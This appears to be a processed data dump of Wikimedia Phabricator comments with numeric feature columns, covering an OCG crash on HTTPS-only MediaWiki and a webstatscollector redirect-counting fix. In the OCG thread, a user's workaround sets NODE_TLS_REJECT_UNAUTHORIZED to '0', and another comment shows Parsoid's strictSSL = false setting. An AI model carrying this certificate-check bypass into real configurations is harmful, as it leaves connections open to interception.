41129822685565,0.6757105943152455,"If you have a HTTPS only instance of Mediawiki, it's not possible to use OCG directly.

You get this error:
error: Error: Hostname/IP doesn't match certificate's altnames
    at SecurePair.<anonymous> (tls.js:1371:23)
    at SecurePair.EventEmitter.emit (events.js:92:17)
    at SecurePair.maybeInitFinished (tls.js:974:10)
    at CleartextStream.read [as _read] (tls.js:462:15)
    at CleartextStream.Readable.read (_stream_readable.js:320:10)
    at EncryptedStream.write [as _write] (tls.js:366:25)
    at doWrite (_stream_writable.js:221:10)
    at writeOrBuffer (_stream_writable.js:211:5)
    at EncryptedStream.Writable.write (_stream_writable.js:180:11)
    at write (_stream_readable.js:583:24) channel=backend.bundler.bin, id=65848afb3f242ab641e6d3f9cb031244c780172d, writer=rdf2latex, details=undefined
error: Bundling process died with non zero code: 1 channel=backend.bundler.error, id=65848afb3f242ab641e6d3f9cb031244c780172d, writer=rdf2latex, metabook={

It should be explained how to get rid of this error in the document. I'm not sure this is relevant to take care about this as in 99% of the instances this run on the same machine like MW. Maybe a simple option (activated per default?) should avoid this check.

I have achieved to get ride of this problem by addingprocess.env.NODE_TLS_REJECT_UNAUTHORIZED = ""0"";

PS: This problem is also valid for Parsoid.

--------------------------
**Version**: unspecified
**Severity**: normal"
1673963,Crash with HTTPS only Mediawiki instances,Declining this task as OCG has been dead for years.,,,1614504563,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ttmyassxbeqqeav6vqai,task_subcomment,,True,c3,3,True,,,295,True,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,18.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,3.8181818181818183,1.0,Declining this task as OCG has been dead for years.
930268,Crash with HTTPS only Mediawiki instances,"As already announced in [[ https://meta.wikimedia.org/wiki/Tech/News/2017/37 | Tech News ]], OfflineContentGenerator (OCG) will not be used anymore after October 1st, 2017 on Wikimedia sites. OCG will be replaced by Electron. [[ https://www.mediawiki.org/wiki/Special:MyLanguage/Reading/Web/PDF_Functionality | You can read more on mediawiki.org. ]]",,,1505380693,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ttmyassxbeqqeav6vqai,task_subcomment,,True,c3,3,True,,,115,True,0.0,0.0,0.0,4.0,2.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,2.0,12.0,16.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,3.6862745098039214,0.7058823529411765,"As already announced in [[ URL | Tech News ]], OfflineContentGenerator (OCG) will not be used anymore after October 1st, 2017 on Wikimedia sites. OCG will be replaced by Electron. [[ URL | You can read more on mediawiki.org. ]]"
328803,Crash with HTTPS only Mediawiki instances,"Parsoid has implemented this in a nice way IMO. It's possible to specify in localsettings.js:

	// Require SSL certificates to be valid (default true)
	// Set to false when using self-signed SSL certificates
	parsoidConfig.strictSSL = false;",,,1416257808,,PHID-USER-nwa6c3hm5nmv7ixrih4p,False,,,PHID-TASK-ttmyassxbeqqeav6vqai,task_subcomment,,True,c3,1,False,,,-33,True,0.0,0.0,0.0,0.0,0.0,13.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,15.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,11.0,11.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,2.0,4.446808510638298,0.8297872340425532,"Parsoid has implemented this in a nice way IMO. It's possible to specify in localsettings.js:

	// Require SSL certificates to be valid (default true)
	// Set to false when using self-signed SSL certificates
	parsoidConfig.strictSSL = false;"
328797,Crash with HTTPS only Mediawiki instances,"I know only two people who have tried to installed OCG and both were puzzled by this problem.

We need:
1 - A correct error handling
2 - The solution should be clearly documented somewhere with a step-by-step procedure (In my case, although I have searched, I was not able to find this procedure clearly explained)
3 - Point a link to that solution in the error message",,,1414680810,,PHID-USER-nwa6c3hm5nmv7ixrih4p,False,,,PHID-TASK-ttmyassxbeqqeav6vqai,task_subcomment,,True,c3,1,False,,,-35,True,0.0,0.0,0.0,2.0,1.0,2.0,1.0,0.0,1.0,0.0,2.0,0.0,0.0,1.0,0.0,6.0,0.0,6.0,11.0,0.0,2.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,1.0,5.0,2.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,13.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,6.0,4.0,11.0,1.0,1.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,5.0,0.0,6.0,11.0,1.0,0.0,0.0,0.0,6.0,0.0,1.0,4.0,0.0,1.0,0.0,0.0,0.0,3.731707317073171,0.7560975609756098,"I know only two people who have tried to installed OCG and both were puzzled by this problem.

We need:
1 - A correct error handling
2 - The solution should be clearly documented somewhere with a step-by-step procedure (In my case, although I have searched, I was not able to find this procedure clearly explained)
3 - Point a link to that solution in the error message"
328790,Crash with HTTPS only Mediawiki instances,"Yeah, this sonuds like your HTTPS certificates are invalid.  That's not a Parsoid/OCG problem.",,,1414675777,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-ttmyassxbeqqeav6vqai,task_subcomment,,True,c3,1,False,,,-35,True,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,14.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,24.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,5.0,14.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.857142857142857,0.9523809523809523,"Yeah, this sonuds like your HTTPS certificates are invalid.  That's not a Parsoid/OCG problem."
328783,Crash with HTTPS only Mediawiki instances,What's the https domain in question? Are you sure the certificates for it are correct?,,,1414656311,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-ttmyassxbeqqeav6vqai,task_subcomment,,True,c3,1,True,,,-35,True,0.0,0.0,0.0,0.0,0.0,11.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,11.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.8888888888888888,What's the https domain in question? Are you sure the certificates for it are correct?
73790,"By counting HTTP redirects, webstatscollector reporting too high numbers","One of the longstanding issues with Webstatscollector is that it
counts redirects at the HTTP level.

So, for example, requesting:
- a page with a lower case first letter [1],
- a page from the desktop site on a mobile device [2], or
- a www.wikipedia.org/wiki/ path (first part is www, not a language) [3], or
- Special:MyLanguage / Special:Random / Special:RandomRootPage / Special:RandomInCategory, or
- [[https://www.mediawiki.org/wiki/Manual:$wgNamespaceAliases|namespace aliases]], special page aliases and canonical special page names/namespace names
causes two requests to the caches, and webstatscollector counts both,
although actually only a single page is shown to the user.
Thereby too high numbers get reported.

Since we're about the deploy a new webstatscollector anyways, and this
double counting should not be too hard to fix, let's get it fixed too.

(Note that redirects above the HTTP level are not affected. So for example
  http://en.wikipedia.org/wiki/Michael_J_Fox
(no dot after the J) is, was and will be one request, although it shows
the content of
  http://en.wikipedia.org/wiki/Michael_J._Fox
(dot after the J). Such redirects at Wiki level are not affected.)





[1]
_________________________________________________________________
christian@spencer // jobs: 0 // time: 13:13:36 // exit code: 0
cwd: ~
wget -O /dev/null 'http://en.wikipedia.org/wiki/main_page'
--2014-10-08 13:13:39--  http://en.wikipedia.org/wiki/main_page
Resolving en.wikipedia.org... 91.198.174.192
Connecting to en.wikipedia.org|91.198.174.192|:80... connected.
HTTP request sent, awaiting response... 301 Moved Permanently
Location: http://en.wikipedia.org/wiki/Main_page [following]
--2014-10-08 13:13:39--  http://en.wikipedia.org/wiki/Main_page
Reusing existing connection to en.wikipedia.org:80.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: `/dev/null'

    [ <=>                                                                                                                  ] 67,779      --.-K/s   in 0.1s    

2014-10-08 13:13:39 (472 KB/s) - `/dev/null' saved [67779]



[2]
_________________________________________________________________
christian@spencer // jobs: 0 // time: 13:13:39 // exit code: 0
cwd: ~
wget -O /dev/null --user-agent 'iPhone' 'http://en.wikipedia.org/wiki/Main_Page'
--2014-10-08 13:13:44--  http://en.wikipedia.org/wiki/Main_Page
Resolving en.wikipedia.org... 91.198.174.192
Connecting to en.wikipedia.org|91.198.174.192|:80... connected.
HTTP request sent, awaiting response... 302 Found
Location: http://en.m.wikipedia.org/wiki/Main_Page [following]
--2014-10-08 13:13:44--  http://en.m.wikipedia.org/wiki/Main_Page
Resolving en.m.wikipedia.org... 91.198.174.204
Connecting to en.m.wikipedia.org|91.198.174.204|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: `/dev/null'

    [ <=>                                                                                                                  ] 22,002      --.-K/s   in 0.05s   

2014-10-08 13:13:44 (416 KB/s) - `/dev/null' saved [22002]



[3]
_________________________________________________________________
christian@spencer // jobs: 0 // time: 13:13:44 // exit code: 0
cwd: ~
wget -O /dev/null 'http://www.wikipedia.org/wiki/Main_Page'
--2014-10-08 13:13:49--  http://www.wikipedia.org/wiki/Main_Page
Resolving www.wikipedia.org... 91.198.174.192
Connecting to www.wikipedia.org|91.198.174.192|:80... connected.
HTTP request sent, awaiting response... 301 Moved Permanently
Location: http://en.wikipedia.org/wiki/Main_Page [following]
--2014-10-08 13:13:49--  http://en.wikipedia.org/wiki/Main_Page
Resolving en.wikipedia.org... 91.198.174.192
Reusing existing connection to www.wikipedia.org:80.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: `/dev/null'

    [ <=>                                                                                                                  ] 67,565      --.-K/s   in 0.1s    

2014-10-08 13:13:49 (471 KB/s) - `/dev/null' saved [67565]

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=72102",Needs Triage,90.0,1412767200,1413414639.0,PHID-USER-pntojlcbclwhuip53bix,False,,False,PHID-TASK-2kvkjwrntloh7io34tal,task_description,resolved,True,c3,1,True,False,True,-39,True,0.0,0.0,0.0,0.3333333333333333,0.4444444444444444,2.7777777777777777,0.2222222222222222,0.0,0.2222222222222222,0.0,0.0,1.0,0.0,0.1111111111111111,0.0,0.1111111111111111,0.5555555555555556,1.7777777777777777,3.4444444444444446,0.0,0.1111111111111111,0.1111111111111111,0.1111111111111111,0.0,1.1111111111111112,0.0,0.0,0.1111111111111111,0.0,0.1111111111111111,0.0,1.6666666666666667,0.5555555555555556,0.3333333333333333,0.1111111111111111,0.0,0.0,0.0,0.3333333333333333,1.7777777777777777,0.1111111111111111,0.0,0.0,0.7777777777777778,0.0,0.0,0.0,0.0,0.1111111111111111,10.444444444444445,0.0,0.2222222222222222,0.0,0.0,0.0,0.0,0.0,0.0,0.2222222222222222,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,2.0,1.0,8.777777777777779,0.5555555555555556,0.7777777777777778,2.3333333333333335,0.0,0.0,0.0,0.0,0.7777777777777778,0.1111111111111111,6.777777777777778,0.0,0.5555555555555556,3.4444444444444446,7.222222222222222,0.0,0.8888888888888888,0.0,0.5555555555555556,0.4444444444444444,0.0,0.8888888888888888,0.0,2.0,0.1111111111111111,0.0,1.8888888888888888,3.196267263904442,0.5106134129650366,"One of the longstanding issues with Webstatscollector is that it
counts redirects at the HTTP level.

So, for example, requesting:
- a page with a lower case first letter [1],
- a page from the desktop site on a mobile device [2], or
- a www.wikipedia.org/wiki/ path (first part is www, not a language) [3], or
- Special:MyLanguage / Special:Random / Special:RandomRootPage / Special:RandomInCategory, or
- [[URL aliases]], special page aliases and canonical special page names/namespace names
causes two requests to the caches, and webstatscollector counts both,
although actually only a single page is shown to the user.
Thereby too high numbers get reported.

Since we're about the deploy a new webstatscollector anyways, and this
double counting should not be too hard to fix, let's get it fixed too.

(Note that redirects above the HTTP level are not affected. So for example
  URL
(no dot after the J) is, was and will be one request, although it shows
the content of
  URL
(dot after the J). Such redirects at Wiki level are not affected.)





[1]
_________________________________________________________________
christian@spencer // jobs: 0 // time: 13:13:36 // exit code: 0
cwd: ~
wget -O /dev/null 'URL
--2014-10-08 13:13:39--  URL
Resolving en.wikipedia.org... 91.198.174.192
Connecting to en.wikipedia.org|91.198.174.192|:80... connected.
HTTP request sent, awaiting response... 301 Moved Permanently
Location: URL [following]
--2014-10-08 13:13:39--  URL
Reusing existing connection to en.wikipedia.org:80.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: CODE/dev/null' saved [67779]



[2]
_________________________________________________________________
christian@spencer // jobs: 0 // time: 13:13:39 // exit code: 0
cwd: ~
wget -O /dev/null --user-agent 'iPhone' 'URL
--2014-10-08 13:13:44--  URL
Resolving en.wikipedia.org... 91.198.174.192
Connecting to en.wikipedia.org|91.198.174.192|:80... connected.
HTTP request sent, awaiting response... 302 Found
Location: URL [following]
--2014-10-08 13:13:44--  URL
Resolving en.m.wikipedia.org... 91.198.174.204
Connecting to en.m.wikipedia.org|91.198.174.204|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: CODE/dev/null' saved [22002]



[3]
_________________________________________________________________
christian@spencer // jobs: 0 // time: 13:13:44 // exit code: 0
cwd: ~
wget -O /dev/null 'URL
--2014-10-08 13:13:49--  URL
Resolving www.wikipedia.org... 91.198.174.192
Connecting to www.wikipedia.org|91.198.174.192|:80... connected.
HTTP request sent, awaiting response... 301 Moved Permanently
Location: URL [following]
--2014-10-08 13:13:49--  URL
Resolving en.wikipedia.org... 91.198.174.192
Reusing existing connection to www.wikipedia.org:80.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: CODE/dev/null' saved [67565]

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
458050,"By counting HTTP redirects, webstatscollector reporting too high numbers","Thanks. I forgot to look in the table among outages etc.

I know it was announced, I just wonder where main features of the new data are expected to be described. Can/should I add information to https://wikitech.wikimedia.org/wiki/Analytics/Pageviews (which has an empty ""Changes"" section) or to https://wikitech.wikimedia.org/wiki/Analytics/Data/Pagecounts-raw (which is linked from the dumps)?",,,1431504904,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-2kvkjwrntloh7io34tal,task_subcomment,,True,c3,1,True,,,-8,True,0.0,0.0,0.0,6.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,12.0,0.0,3.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,8.0,5.0,2.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,6.0,14.0,2.0,2.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,8.0,12.0,2.0,2.0,3.0,0.0,8.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,3.0,3.5,0.7727272727272727,"Thanks. I forgot to look in the table among outages etc.

I know it was announced, I just wonder where main features of the new data are expected to be described. Can/should I add information to URL (which has an empty ""Changes"" section) or to URL (which is linked from the dumps)?"
457920,"By counting HTTP redirects, webstatscollector reporting too high numbers",">>! In T73790#1278623, @Nemo_bis wrote:
> Is it documented anywhere?

Yes. It got announced/documented at least 6 times :-)

On the corresponding data set pages on wikitech (search for ""71790""):
* https://wikitech.wikimedia.org/wiki/Analytics/Data/Pagecounts-raw
* https://wikitech.wikimedia.org/wiki/Analytics/Data/Pagecounts-all-sites

Additionally, see the analytics list announcements:
* https://lists.wikimedia.org/pipermail/analytics/2014-October/002560.html
* https://lists.wikimedia.org/pipermail/analytics/2014-October/002572.html

And the mentioning in the ""Adventures in Clusterland"" reports (search for ""71790""):
* https://lists.wikimedia.org/pipermail/analytics/2014-October/002614.html
* https://lists.wikimedia.org/pipermail/analytics/2014-October/002706.html

> https://wikitech.wikimedia.org/wiki/Analytics/Data/Pagecounts-raw has no such information

That page has the information. At the bottom of the page, there is a table of issues that has a row:

```
| * 	| 2014-10-15 ~19:02:30 | bug 71790 | Redirects have been counted 
```
",,,1431470001,,PHID-USER-pntojlcbclwhuip53bix,False,,,PHID-TASK-2kvkjwrntloh7io34tal,task_subcomment,,True,c3,1,True,,,-8,True,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,1.5,0.5,7.5,0.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.5,0.5,2.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,1.0,0.0,14.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,7.0,1.0,12.5,0.0,0.5,7.5,0.0,0.5,0.0,0.0,1.0,0.5,2.0,0.0,0.5,7.5,4.5,0.0,4.5,0.0,0.5,0.0,1.0,2.0,0.0,0.5,0.0,0.5,0.0,3.3125,0.6696428571428572,"QUOTE
QUOTE

Yes. It got announced/documented at least 6 times :-)

On the corresponding data set pages on wikitech (search for ""71790""):
* URL
* URL

Additionally, see the analytics list announcements:
* URL
* URL

And the mentioning in the ""Adventures in Clusterland"" reports (search for ""71790""):
* URL
* URL

QUOTE

That page has the information. At the bottom of the page, there is a table of issues that has a row:

``CODE``
"
457398,"By counting HTTP redirects, webstatscollector reporting too high numbers","From http://thread.gmane.org/gmane.science.linguistics.wikipedia.research/4526 , it seems information about this change didn't trickle down to consumers of the data. Is it documented anywhere?

https://wikitech.wikimedia.org/wiki/Analytics/Webstatscollector is marked obsolete but seems to have no replacement; mediawiki.org pages recently got some warnings to visit wikitech, without specifying which page(s) now host the respective information; https://wikitech.wikimedia.org/wiki/Analytics/Data/Pagecounts-raw has no such information; https://wikitech.wikimedia.org/wiki/Analytics/Pageviews and https://meta.wikimedia.org/wiki/Research:Page_view are silent on the matter.",,,1431416410,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-2kvkjwrntloh7io34tal,task_subcomment,,True,c3,1,True,,,-8,True,1.0,0.0,0.0,3.0,1.0,6.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,7.0,11.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,6.0,0.0,1.0,0.0,0.0,0.0,14.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,10.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.0,11.0,4.0,1.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,4.486111111111111,0.7638888888888888,"From URL , it seems information about this change didn't trickle down to consumers of the data. Is it documented anywhere?

URL is marked obsolete but seems to have no replacement; mediawiki.org pages recently got some warnings to visit wikitech, without specifying which page(s) now host the respective information; URL has no such information; URL and URL are silent on the matter."
328450,"By counting HTTP redirects, webstatscollector reporting too high numbers","Change 165748 merged by Ottomata:
[webstatscollector] Add condition to not count redirects

https://gerrit.wikimedia.org/r/165748",,,1413836422,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2kvkjwrntloh7io34tal,task_subcomment,,True,c3,1,False,,,-37,True,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,5.111111111111111,1.0,"Change 165748 merged by Ottomata:
[webstatscollector] Add condition to not count redirects

GERRIT_URL"
328447,"By counting HTTP redirects, webstatscollector reporting too high numbers",Are retroactive adjustments of stats.wikimedia.org pageview stats expected?,,,1413415174,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-2kvkjwrntloh7io34tal,task_subcomment,,True,c3,1,True,,,-38,True,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.555555555555555,1.0,Are retroactive adjustments of stats.wikimedia.org pageview stats expected?
328443,"By counting HTTP redirects, webstatscollector reporting too high numbers","Fix has been deployed on 2014-10-15 ~19:01 and is effective.

The last affected files are

  http://dumps.wikimedia.org/other/pagecounts-raw/2014/2014-10/pagecounts-20141015-200000.gz [1]
  http://dumps.wikimedia.org/other/pagecounts-raw/2014/2014-10/projectcounts-20141015-200000 [1]
  http://dumps.wikimedia.org/other/pagecounts-all-sites/2014/2014-10/pagecounts-20141015-190000.gz
  http://dumps.wikimedia.org/other/pagecounts-all-sites/2014/2014-10/projectcounts-20141015-190000

The first files without the [uU]ndefined counts are

  http://dumps.wikimedia.org/other/pagecounts-raw/2014/2014-10/pagecounts-20141015-210000.gz [1]
  http://dumps.wikimedia.org/other/pagecounts-raw/2014/2014-10/projectcounts-20141015-210000 [1]
  http://dumps.wikimedia.org/other/pagecounts-all-sites/2014/2014-10/pagecounts-20141015-200000.gz
  http://dumps.wikimedia.org/other/pagecounts-all-sites/2014/2014-10/projectcounts-20141015-200000

[1] When restarting collector and filter for the C implementation of
webstatscollector, where was a period (<2 minutes) where the new
collector and the old filter have been running. Hence, during this
perioud a few redirects made it the 20:00:00 file.",,,1413414639,,PHID-USER-pntojlcbclwhuip53bix,False,,,PHID-TASK-2kvkjwrntloh7io34tal,task_subcomment,,True,c3,1,True,,,-38,True,1.0,0.0,0.0,0.5,0.0,4.5,1.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,3.5,3.5,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,14.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,8.5,2.5,2.5,7.5,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,3.5,2.5,0.0,0.0,0.0,1.0,0.0,2.5,2.0,0.0,2.0,0.0,0.0,4.5,3.543546365914787,0.6647869674185464,"Fix has been deployed on 2014-10-15 ~19:01 and is effective.

The last affected files are

  URL [1]
  URL [1]
  URL
  URL

The first files without the [uU]ndefined counts are

  URL [1]
  URL [1]
  URL
  URL

[1] When restarting collector and filter for the C implementation of
webstatscollector, where was a period (<2 minutes) where the new
collector and the old filter have been running. Hence, during this
perioud a few redirects made it the 20:00:00 file."
328441,"By counting HTTP redirects, webstatscollector reporting too high numbers","Change 165725 merged by QChris:
Stop counting 301, 302, 303 HTTP status codes

https://gerrit.wikimedia.org/r/165725",,,1413400975,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2kvkjwrntloh7io34tal,task_subcomment,,True,c3,1,False,,,-38,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,21.0,0.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.105263157894737,0.9473684210526315,"Change 165725 merged by QChris:
Stop counting 301, 302, 303 HTTP status codes

GERRIT_URL"
328437,"By counting HTTP redirects, webstatscollector reporting too high numbers","Change 165351 merged by Ottomata:
Release fix that stops counting [uU]ndefined and redirects

https://gerrit.wikimedia.org/r/165351",,,1412892139,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2kvkjwrntloh7io34tal,task_subcomment,,True,c3,1,False,,,-38,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,22.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,6.0,5.166666666666667,1.0,"Change 165351 merged by Ottomata:
Release fix that stops counting [uU]ndefined and redirects

GERRIT_URL"
328434,"By counting HTTP redirects, webstatscollector reporting too high numbers","Change 165631 merged by jenkins-bot:
Stop counting 301, 302, 303 HTTP status codes

